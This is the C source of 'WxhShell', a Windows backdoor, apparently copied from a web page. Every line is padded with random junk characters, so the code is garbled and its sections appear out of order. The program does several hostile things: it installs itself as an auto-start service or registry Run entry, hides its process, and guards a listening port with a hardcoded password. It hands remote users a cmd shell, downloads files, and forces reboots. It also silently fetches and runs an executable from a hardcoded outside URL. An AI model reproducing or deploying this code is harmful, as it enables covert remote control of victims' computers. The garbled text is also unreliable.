    if(Boot(SHUTDOWN)) 5f_7&NxT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @vAFfYU9<.  
    else { bn-=fb(  
    closesocket(wsh); )U5u" ]9~  
    ExitThread(0); v{koKQ'Y()  
    } C Z tiWZ  
    break; M/B/b<['  
    } 5i9Ub |!P  
  // 获取shell *#h;c1aP  
  case 's': { 3 Gd|YRtk  
    CmdShell(wsh); (\& 62B1  
    closesocket(wsh); Vp7b4n<  
    ExitThread(0); Fu##'#  
    break; -u~eZ?(!Ye  
  } c&e0OV\m  
  // 退出 ^Y 7U1I  
  case 'x': { ,8VXA +'_  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); yVYkuO  
    CloseIt(wsh); >76 |:Nq  
    break; <Uwwux<v  
    } U>A6eWhH  
  // 离开 ImHU:iR[J-  
  case 'q': { 8\_*1h40s  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); qTy v.#{y  
    closesocket(wsh); KPggDKS  
    WSACleanup(); JqEb;NiP)5  
    exit(1); :8]6#c6`74  
    break; !. eAOuq  
        } "TFwHe3C4  
  } 26PD[af64O  
  } x4 hO$3o  
`]{Psc6_=  
  // 提示信息 ,`)OEI|1d  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @_Sp3nWdu  
} (9'be\  
  } ~`[8"YUL  
vJThU$s-  
  return; ?*+1~m>  
} 7@a\*|K6  
bd{\{[^S!  
// shell模块句柄 K?YEoz'y[  
int CmdShell(SOCKET sock) {aIZFe}B  
{ dEET}s\  
STARTUPINFO si; R@$+t:}  
ZeroMemory(&si,sizeof(si)); k =|K|  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; AY;<q$8j%,  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; zq=&4afOE  
PROCESS_INFORMATION ProcessInfo; DKHM\yt  
char cmdline[]="cmd"; {*fUJmao"  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 5M.Red.L  
  return 0; DaDUK?  
} O! (85rp/  
JZw^ W{  
// 自身启动模式 DaCblX  
int StartFromService(void) [yF^IlSs  
{ :`5;nl63  
typedef struct |0]YA  
{ dk:xnX%  
  DWORD ExitStatus; rXDJ:NP  
  DWORD PebBaseAddress; @ExLh9  
  DWORD AffinityMask; zzE]M}s  
  DWORD BasePriority; b"3uD`  
  ULONG UniqueProcessId; k.Gl4 x  
  ULONG InheritedFromUniqueProcessId; vX 1W@s  
}   PROCESS_BASIC_INFORMATION; Ys%'#f  
t%HI1eO7h  
PROCNTQSIP NtQueryInformationProcess; z L8J`W  
h[y*CzG  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; e# <4/FR  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; )w3 ,   
Hh\ 4MNl  
  HANDLE             hProcess; MYu`c[$jZ  
  PROCESS_BASIC_INFORMATION pbi; -)>(8f  
l.uN$B  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); jJ<;2e~OW  
  if(NULL == hInst ) return 0; ,zoB0([  
TH>,v  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); =-m(\ }  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 0}D-KvjyP  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); HoL~j({  
y:C)%cv}*  
  if (!NtQueryInformationProcess) return 0; L9$&-A9ix  
T?#s'd  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); nfa_8  
  if(!hProcess) return 0; 8XlU%a6x  
zF?31\GOX  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; gY%OhYtF2  
qL,ka  
  CloseHandle(hProcess); V07VwVD  
Yfe'#MKfL  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); P*7S3Td  
if(hProcess==NULL) return 0; dB@FI  
},v&rkwR  
HMODULE hMod; ]d^ k4 d  
char procName[255]; V&g)m.d:n  
unsigned long cbNeeded; G LoiH#R  
{wHvE4F2  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 2+o!o  
^glX1 )  
  CloseHandle(hProcess); <8*A\&  
<5M_EJp  
if(strstr(procName,"services")) return 1; // 以服务启动 Y}S.37|+^  
3hH>U%`-  
  return 0; // 注册表启动 hcQSB00D^  
} 9@Q&B+!  
x ~wNO/  
// 主模块 =pyVn_dg  
int StartWxhshell(LPSTR lpCmdLine) CX]RtV!  
{ *!i,?vn  
  SOCKET wsl; JV&Zwbu  
BOOL val=TRUE; <r_3obRC  
  int port=0; p%tE v  
  struct sockaddr_in door; xUIvLH=  
gt~9"I  
  if(wscfg.ws_autoins) Install(); LNaeB(z"  
C0gfJ~M )  
port=atoi(lpCmdLine); ^u3*hl}YKy  
'frWu6]< 4  
if(port<=0) port=wscfg.ws_port; q?(A!1(u  
}M^_Z#|,  
  WSADATA data; "oHp.$+K  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; xm^N8  
k]t,q$Vd  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   xna7kA  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ^)Smv\Md  
  door.sin_family = AF_INET; 1>hb-OMX  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); hH#lTye  
  door.sin_port = htons(port); pa> p%  
axOi 5  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { =Y/}b\9`T  
closesocket(wsl); q)NXyy4BT  
return 1; DQ%`v =  
} c!.=%QY  
0h^uOA; c  
  if(listen(wsl,2) == INVALID_SOCKET) { vf6`s\6  
closesocket(wsl); 5QKRI)XpZ  
return 1; mlD%d!.  
} 15o9CaQw4"  
  Wxhshell(wsl); :DDO=  
  WSACleanup(); y:~eU  
,|6Y\L  
return 0; S>.q 5  
UVz=QEuYb  
} =sxkrih  
J 0&zb'1  
// 以NT服务方式启动 Tc9&mKVE%(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) fdN45in=>  
{ "&@gX_%  
DWORD   status = 0; cLn;,u4  
  DWORD   specificError = 0xfffffff; H3!,d`D.N  
~(stA3]k  
  serviceStatus.dwServiceType     = SERVICE_WIN32; MgHOj   
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; mluW=fE  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; p 7 , f6kG  
  serviceStatus.dwWin32ExitCode     = 0; 3gC\{y!8  
  serviceStatus.dwServiceSpecificExitCode = 0; dv}8Y H["  
  serviceStatus.dwCheckPoint       = 0; TihnSb  
  serviceStatus.dwWaitHint       = 0; |Uc <;> l  
X";TZk  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); _2wAaJvA  
  if (hServiceStatusHandle==0) return; iz Xbp02  
2j2mW>Z  
status = GetLastError(); Ga]47pQ"F  
  if (status!=NO_ERROR) d#E(~t(^  
{ -K:yU4V  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Y=AH%Gy9 )  
    serviceStatus.dwCheckPoint       = 0; bjuYA/w<  
    serviceStatus.dwWaitHint       = 0; F(J\ctha  
    serviceStatus.dwWin32ExitCode     = status; <9=zP/Q  
    serviceStatus.dwServiceSpecificExitCode = specificError; X'YfjbGo  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); qsD?dHi7  
    return; !>CE(;E>z  
  } V+Y|4Y&  
R 4DM_ u  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ,.~ W  
  serviceStatus.dwCheckPoint       = 0;  C/SapX  
  serviceStatus.dwWaitHint       = 0; sGXp}{E9  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); f1)HHUB  
} W/#KX}4  
Kl4isGcr]  
// 处理NT服务事件,比如:启动、停止 7h(HG?2Y  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ) ~ l\  
{ VI(RT-S6  
switch(fdwControl) i6-wf Gs;  
{ >L#];|  
case SERVICE_CONTROL_STOP: hfJrQhmE  
  serviceStatus.dwWin32ExitCode = 0; b\kN_  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; h=uiC&B  
  serviceStatus.dwCheckPoint   = 0; _cW_u?0X:  
  serviceStatus.dwWaitHint     = 0; GwTT+  
  { ^`l"'6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); { z-5GH|  
  } Hlz'a1\:O]  
  return; pw0Px  
case SERVICE_CONTROL_PAUSE: |Dl*w/n  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Q2JdO 6[96  
  break; RpBiE8F4  
case SERVICE_CONTROL_CONTINUE: A M>Yj  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ck(CA(_  
  break; <f7?P Ad  
case SERVICE_CONTROL_INTERROGATE: &?P=arU  
  break; .}IK}A/-  
}; >+yqjXRzm  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); F% F c+?  
} lt@  
m-:8jA?  
// 标准应用程序主函数 5}vRo;-  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) vF5wA-3&t  
{ 8 m%>:}o  
3r,1^h  
// 获取操作系统版本 G3Idxs  
OsIsNt=GetOsVer(); 6a "VCE]  
GetModuleFileName(NULL,ExeFile,MAX_PATH); z7O Z4R:  
0!9?H1>  
  // 从命令行安装 W,QnU d'N  
  if(strpbrk(lpCmdLine,"iI")) Install(); -9=M9}eDF  
L9E;Uii0  
  // 下载执行文件 l=oN X"l=  
if(wscfg.ws_downexe) { ZA *b9W  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 6Cz7A  
  WinExec(wscfg.ws_filenam,SW_HIDE); i_j9/k  
} b:N^Fe  
Ha46U6_'h  
if(!OsIsNt) { J!21`M-Ue  
// 如果时win9x,隐藏进程并且设置为注册表启动 i /O1vU#  
HideProc(); [W^6u7~  
StartWxhshell(lpCmdLine); o0,UXBx  
} C><<0VhU  
else /#S4espE  
  if(StartFromService()) W&fW5af9  
  // 以服务方式启动 @4 zi]v  
  StartServiceCtrlDispatcher(DispatchTable); I-RdAVB/Ep  
else D6&mf2'u  
  // 普通方式启动 pFpQ\xc9$  
  StartWxhshell(lpCmdLine); 6{JR0  
k#1`  
return 0; Jngll  
} D8r>a"gx  
P<j4\zJ  
&{-oA_@  
M/::`yJQu  
=========================================== Hs:4I  
{:};(oz)f  
k| _$R?  
'1>g=Ic0  
=oL8d 6nI  
(SgEt  
" %JP&ox|^&  
(cOND/S  
#include <stdio.h> n/9 LRZD|w  
#include <string.h> e67c:Z  
#include <windows.h> ]FY?_DGOA  
#include <winsock2.h> jI*}y[o  
#include <winsvc.h> QLn5#x~xb  
#include <urlmon.h> KuIt[oM  
e.)yV'%L  
#pragma comment (lib, "Ws2_32.lib") }};j2  
#pragma comment (lib, "urlmon.lib") 1kB'sc3N!  
N.fQ7z=Z(M  
#define MAX_USER   100 // 最大客户端连接数 "e1{V8 4  
#define BUF_SOCK   200 // sock buffer hj^G} 4  
#define KEY_BUFF   255 // 输入 buffer E5,%J  
s)=!2AY  
#define REBOOT     0   // 重启 VfL]O8P>  
#define SHUTDOWN   1   // 关机 8Pr&F  
FbNH+?  
#define DEF_PORT   5000 // 监听端口 lfU"SSQ  
N>&{Wl'y\  
#define REG_LEN     16   // 注册表键长度 P.[6s$J  
#define SVC_LEN     80   // NT服务名长度 ?V&Ld$db  
aH5t.x79b  
// 从dll定义API I3}HNGvU  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); *6 z'+'  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); J[j/aDdP  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); v7{ P].M  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); I2t-D1X  
p\\P50(-  
// wxhshell配置信息 Xm"w,J&  
struct WSCFG { 5t"bCzp  
  int ws_port;         // 监听端口 .RQXxw  
  char ws_passstr[REG_LEN]; // 口令 Ct =E;v7}  
  int ws_autoins;       // 安装标记, 1=yes 0=no _Ep{|]:gw  
  char ws_regname[REG_LEN]; // 注册表键名 ~>}dse  
  char ws_svcname[REG_LEN]; // 服务名 \j2 : 6]Hm  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ct2_N  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 x*loACee.  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 GsP@ B'  
int ws_downexe;       // 下载执行标记, 1=yes 0=no OBKC$e6I  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" vxbH^b  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 }<5\O*kX4  
b:}wR*Adc  
}; bik] JIM  
dU sJv  
// default Wxhshell configuration /?.r!Cp  
struct WSCFG wscfg={DEF_PORT, )H[h53bIq  
    "xuhuanlingzhe", 5@R15q@c6n  
    1, ~_dBND?  
    "Wxhshell", K]H"qG.K  
    "Wxhshell", z. _C*c  
            "WxhShell Service", ?{@!!te@3v  
    "Wrsky Windows CmdShell Service", i#@v_^q  
    "Please Input Your Password: ", gqO%^b)6  
  1, C1#o<pv  
  "http://www.wrsky.com/wxhshell.exe", t?%}hs\!  
  "Wxhshell.exe" ;3.T* ?|o  
    }; >+A1 V[  
+ ,vJ7  
// 消息定义模块 F?RCaj  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; y]QQvCJr3d  
char *msg_ws_prompt="\n\r? for help\n\r#>"; |*]X\UE  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; zCj*:n  
char *msg_ws_ext="\n\rExit."; =#POMK".6  
char *msg_ws_end="\n\rQuit."; ((RpT0rP\  
char *msg_ws_boot="\n\rReboot..."; #whO2Mv  
char *msg_ws_poff="\n\rShutdown..."; &dZ.+#8r  
char *msg_ws_down="\n\rSave to "; y]E)2:B[d  
UijuJ(Tle  
char *msg_ws_err="\n\rErr!"; !~|"LA!jn  
char *msg_ws_ok="\n\rOK!";  |(J ?#?  
Sg_-OX@f  
char ExeFile[MAX_PATH]; ~$y#(YbH  
int nUser = 0; -tK;RQYax  
HANDLE handles[MAX_USER]; $ sA~p_]  
int OsIsNt; K d`l[56#  
+e\:C~2f28  
SERVICE_STATUS       serviceStatus; Q?Bj q>  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; _Ssv:x c,  
%b-;Rn  
// 函数声明 U'sVs2sk6  
int Install(void); nL7S3  
int Uninstall(void); NSiYUAu g  
int DownloadFile(char *sURL, SOCKET wsh); eBSn1n  
int Boot(int flag); 6,g5To#vw  
void HideProc(void); r$3~bS$]  
int GetOsVer(void); N) V7yo?  
int Wxhshell(SOCKET wsl); Y bn=Gy  
void TalkWithClient(void *cs); VxPTh\O*[  
int CmdShell(SOCKET sock); Y00i{/a 8  
int StartFromService(void); K;ry4/Vap  
int StartWxhshell(LPSTR lpCmdLine); ^;bGP.!p  
35@Ibe~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); e%@[d<Ta\  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); GH; F3s  
O'&X aaZV  
// 数据结构和表定义 fdCxMKlu;  
SERVICE_TABLE_ENTRY DispatchTable[] = <Hr@~<@~  
{ Be14$7r  
{wscfg.ws_svcname, NTServiceMain}, L3G)?rPFC#  
{NULL, NULL} ( 7Ca\H3$  
}; /k3n{ ?$/  
)qe$rD;N  
// 自我安装 G5XnGl }Q  
int Install(void) gKm~cjCB`~  
{ e u=f-HW]  
  char svExeFile[MAX_PATH]; 0\_R|i_`>  
  HKEY key; x9&tlKKxf  
  strcpy(svExeFile,ExeFile); JI[rIL \Ey  
N?U&(@p  
// 如果是win9x系统,修改注册表设为自启动 `M pC<sit  
if(!OsIsNt) { PE;0 jgsiI  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { qI V`zZc  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2)I'5 ?I  
  RegCloseKey(key); j9L+.UVI,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { C(%5,|6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,rl <ye*&  
  RegCloseKey(key); RfKxwo|M<  
  return 0; Bu >yRL=*  
    } 'bY|$\I  
  } 7"CH\*%  
} ~RR_[t2Z  
else { EH!EyNNb  
= VX<eV  
// 如果是NT以上系统,安装为系统服务 @=zBF'<.9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); }~\].I6  
if (schSCManager!=0) ;uA_gn!  
{ B,VSFpPx  
  SC_HANDLE schService = CreateService c&I,eds  
  ( 4iPua"8  
  schSCManager, z_,]fd=o  
  wscfg.ws_svcname, xz+`]Q  
  wscfg.ws_svcdisp, &_%+r5  
  SERVICE_ALL_ACCESS, <2@<r t{  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , <hF~L k ,  
  SERVICE_AUTO_START, n5,Pq+[  
  SERVICE_ERROR_NORMAL, &<#BsFz  
  svExeFile, Kn9=a-b?,  
  NULL, [>]VN)_J5  
  NULL, u2.r,<rC*Q  
  NULL, 2S10j%EeI  
  NULL, WCfe!P?g  
  NULL 9:Z~}yX  
  ); tL4]6u  
  if (schService!=0) vM4`u5  
  { kq.R(z+  
  CloseServiceHandle(schService); F0ivL`  
  CloseServiceHandle(schSCManager); k s`  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); CR<pB)F?a  
  strcat(svExeFile,wscfg.ws_svcname); MIyLQ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 5tCq}]q#P  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); m{yNnJ3O  
  RegCloseKey(key); "y ,(9_#  
  return 0; 7Hkf7\JY  
    } Xi`U`7?D(=  
  } [@FeRIu8  
  CloseServiceHandle(schSCManager); ^CZ|ci6bX  
} #y9K-}u  
} ^[\53\R~  
Ew,wNR`  
return 1; [,A'  
} m"m;(T{ v  
h}:5hi Jw  
// 自我卸载 {R8P $  
int Uninstall(void) jeuNTDjeL  
{ .STf  
  HKEY key; Nwu Be:"@  
xg5@;p  
if(!OsIsNt) { au}0PnA;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { u$/2XO  
  RegDeleteValue(key,wscfg.ws_regname); ToXFMkwY  
  RegCloseKey(key); {8p?we3l1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { PH4bM  
  RegDeleteValue(key,wscfg.ws_regname); Qs[EA_  
  RegCloseKey(key); om39;nk!}  
  return 0; N*oJ$:#  
  } p YvF}8  
} waq_d.  
} iU+,Jeu  
else { -Aym+N9  
U[ O!&:6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ^EBM;&;7  
if (schSCManager!=0) 3UtXxL&L`  
{ y?4=u,{C  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Ecl7=-y  
  if (schService!=0) " 7g8 d  
  { V'hz1roe  
  if(DeleteService(schService)!=0) { !<^j!'2  
  CloseServiceHandle(schService); @ DKl<F  
  CloseServiceHandle(schSCManager); pO+wJ|f  
  return 0; 8;BwzRtgT  
  } `TR9GWU+B  
  CloseServiceHandle(schService); "uER a(i  
  } w]YyU5rhS  
  CloseServiceHandle(schSCManager); "&o@%){]  
} Tu#k+f*s  
} 9@>hm>g.  
QS?9&+JM|  
return 1; mb6?$1j  
} [goPmVe+  
#"YWz)8  
// 从指定url下载文件 -ddatc|  
int DownloadFile(char *sURL, SOCKET wsh) x=|@AFI  
{ {j4:. fD  
  HRESULT hr; w)SxwlW}  
char seps[]= "/"; _Ws k3AP  
char *token; tJfN6  
char *file; bD[W~ku  
char myURL[MAX_PATH]; \ bmboNe  
char myFILE[MAX_PATH]; t4W0~7   
2Sd6b 2-  
strcpy(myURL,sURL); &`y_R'  
  token=strtok(myURL,seps); ) G&3V  
  while(token!=NULL) UdgI<a~`k6  
  { Uy'ZL(2  
    file=token; " yl"A4p S  
  token=strtok(NULL,seps); `X03Q[:q"[  
  } uXa}<=O  
R,Uy3N  
GetCurrentDirectory(MAX_PATH,myFILE); @!HMd{r  
strcat(myFILE, "\\"); .ihn@eg  
strcat(myFILE, file); I,Y^_(JW  
  send(wsh,myFILE,strlen(myFILE),0); 4tu>~ vOE  
send(wsh,"...",3,0); fBh|:2u  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); FOyfk$  
  if(hr==S_OK) BrmFwXLP"  
return 0;  xyCcd=  
else l zkn B  
return 1; 3nGK674;z  
-mdPqVIJn:  
} `erQp0fBM  
.f<,H+m^  
// 系统电源模块 /P}tgcs  
int Boot(int flag) :iiTz$yk  
{ bvvx(?!  
  HANDLE hToken; p tfADG  
  TOKEN_PRIVILEGES tkp; itMc!bUQ  
/ UBAQ8TR  
  if(OsIsNt) { DuZ]g#  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Rzj!~`&N  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); {]N?DmF  
    tkp.PrivilegeCount = 1; [NDYJ'VGe  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 3+PM_c)Y  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Z4sjH1W  
if(flag==REBOOT) { IUG .q8  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) )Em,3I/.l  
  return 0; QCnVZ" !(  
} Y0'^S<ox  
else { #Jb$AA! z  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) :|( B[  
  return 0; $ $+z^%'_  
} t $%}*@x7  
  } GUZi }a|=  
  else { ?E+XD'~  
if(flag==REBOOT) { ;!Bkk9r"H  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 5mBk[{  
  return 0; CBHWMetJ*  
} @isqFKjph  
else { ew~FN  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) c(JO;=,@9  
  return 0; SX8%F:<.  
} M" \y2   
} n-WvIy  
+g30frg+Gl  
return 1; %uMsXa  
} KwyXM9h6=  
M,lu)~H  
// win9x进程隐藏模块 K|!)<6ZsG7  
void HideProc(void) >rGlj  
{ 3F3?be  
>0$5H]1u  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); >H! 2Wflm  
  if ( hKernel != NULL ) bsVOO9.4-  
  { 9 f+7vCA  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); S)h1e%f, f  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); =]Bm>67"  
    FreeLibrary(hKernel); =^}2 /vA  
  } u^9,u/gj  
81g0oVv  
return; vsR&1hs  
} {)xrg sB  
}=)"uv  
// 获取操作系统版本 93,ExgFt  
int GetOsVer(void) 9bvd1bKEW  
{ Kep?=9r4+  
  OSVERSIONINFO winfo; ?whp _  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); O^ hV<+CX  
  GetVersionEx(&winfo); ]e9kf$'  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) I}{eYXh  
  return 1; 0U~JSmj:2K  
  else jws(`mIf\  
  return 0; 1uE[ %M  
} }zi6F.  
~yg9ZM  
// 客户端句柄模块  _^ZII  
int Wxhshell(SOCKET wsl) {:cA'6f.b  
{ 8'62[e|=7[  
  SOCKET wsh; Yzz8:n  
  struct sockaddr_in client; To95WG7G  
  DWORD myID; 2Ev,dWV  
g'@+#NMw  
  while(nUser<MAX_USER) Pd?YS!+S  
{ N11am  
  int nSize=sizeof(client); Orgje@c{  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ,.B8hr@H6-  
  if(wsh==INVALID_SOCKET) return 1; z'*>Tk8h  
sa])^mkq(  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ([A;~ p;n  
if(handles[nUser]==0) _ 9dV 3I  
  closesocket(wsh); Adm`s .  
else MvA_tRO  
  nUser++; ~Fh(4'  
  } yDrJn* r^  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 2 r)c?  
3]Mx,u  
  return 0; zjS<e XLs[  
} EWi@1PAZK  
OduTg^R  
// 关闭 socket jTJ[2WaS  
void CloseIt(SOCKET wsh) :4dili4|/  
{ oc3/ IWII  
closesocket(wsh); ]0O$2j_7  
nUser--; ZBWe,Xvq  
ExitThread(0); yO)Qg* r  
} -_dgd:or  
;DOz92X94  
// 客户端请求句柄 TfOZ>uR"g  
void TalkWithClient(void *cs) O_q_O  
{ s&l[GKR  
TnrMR1Zx  
  SOCKET wsh=(SOCKET)cs; JP]K\nQx'  
  char pwd[SVC_LEN]; H+Wd#7l,  
  char cmd[KEY_BUFF]; .0 K8h:I  
char chr[1]; 0 N(2[s_A  
int i,j; -$r fu  
{_JLmyaerZ  
  while (nUser < MAX_USER) { f\JyN@w+  
hV%l}6yS&  
if(wscfg.ws_passstr) { _<$=n6#  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); hG U &C]  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ),_bDI L+  
  //ZeroMemory(pwd,KEY_BUFF); T/ov0l_  
      i=0; Q] HRg4r  
  while(i<SVC_LEN) { ?bEYvHAzg  
L r,$98Dy  
  // 设置超时 w@4+&v>O  
  fd_set FdRead; @9L9c  
  struct timeval TimeOut; k dqH36&<  
  FD_ZERO(&FdRead); _gHJ4(?w  
  FD_SET(wsh,&FdRead); KRQ/wuv  
  TimeOut.tv_sec=8; |cacMgly  
  TimeOut.tv_usec=0; D'X'h}+2  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); y\:2Re/*Jt  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); w;:,W@K  
n.)-aRu[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #r C% \  
  pwd=chr[0]; `@90b 4u  
  if(chr[0]==0xd || chr[0]==0xa) { l40$}!!<  
  pwd=0; 6 eBQ9XV  
  break; LLMkv!%D  
  }  Y+N87C<  
  i++; sr\MQ?\fB  
    } DmYm~hzJ  
`i}\k  
  // 如果是非法用户,关闭 socket = 2k+/0ZbP  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); la-+ `  
} ;4 &~i  
Mo/xEB/O  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); e1#}/U  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ] 3v  
KNn E5f  
while(1) { rtI4W  
<:p&P  
  ZeroMemory(cmd,KEY_BUFF); /[IK [  
P_;oSN|>  
      // 自动支持客户端 telnet标准   LZeR .8XM>  
  j=0; ;rFa I^  
  while(j<KEY_BUFF) { HZm44y$/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [x&&N*>N  
  cmd[j]=chr[0]; 1Dbe0u  
  if(chr[0]==0xa || chr[0]==0xd) { t :_7 O7  
  cmd[j]=0; wNPZ[V:  
  break; |(/"IS]  
  } F"q3p4-<>  
  j++; %w@(V([(c  
    } 1 >Op)T>{c  
=\3*;59\  
  // 下载文件 (z[cf|he  
  if(strstr(cmd,"http://")) { :KFhryN  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 4]cOTXk9C  
  if(DownloadFile(cmd,wsh)) 3K'3Xp@A  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); q/[)mr|~  
  else c/s'&gG33z  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k`?n("j  
  } @=9QV3D  
  else { ScI9.{  
W] lFwj  
    switch(cmd[0]) { qP"m819m  
  1q*3V8  
  // 帮助 sU`#d  
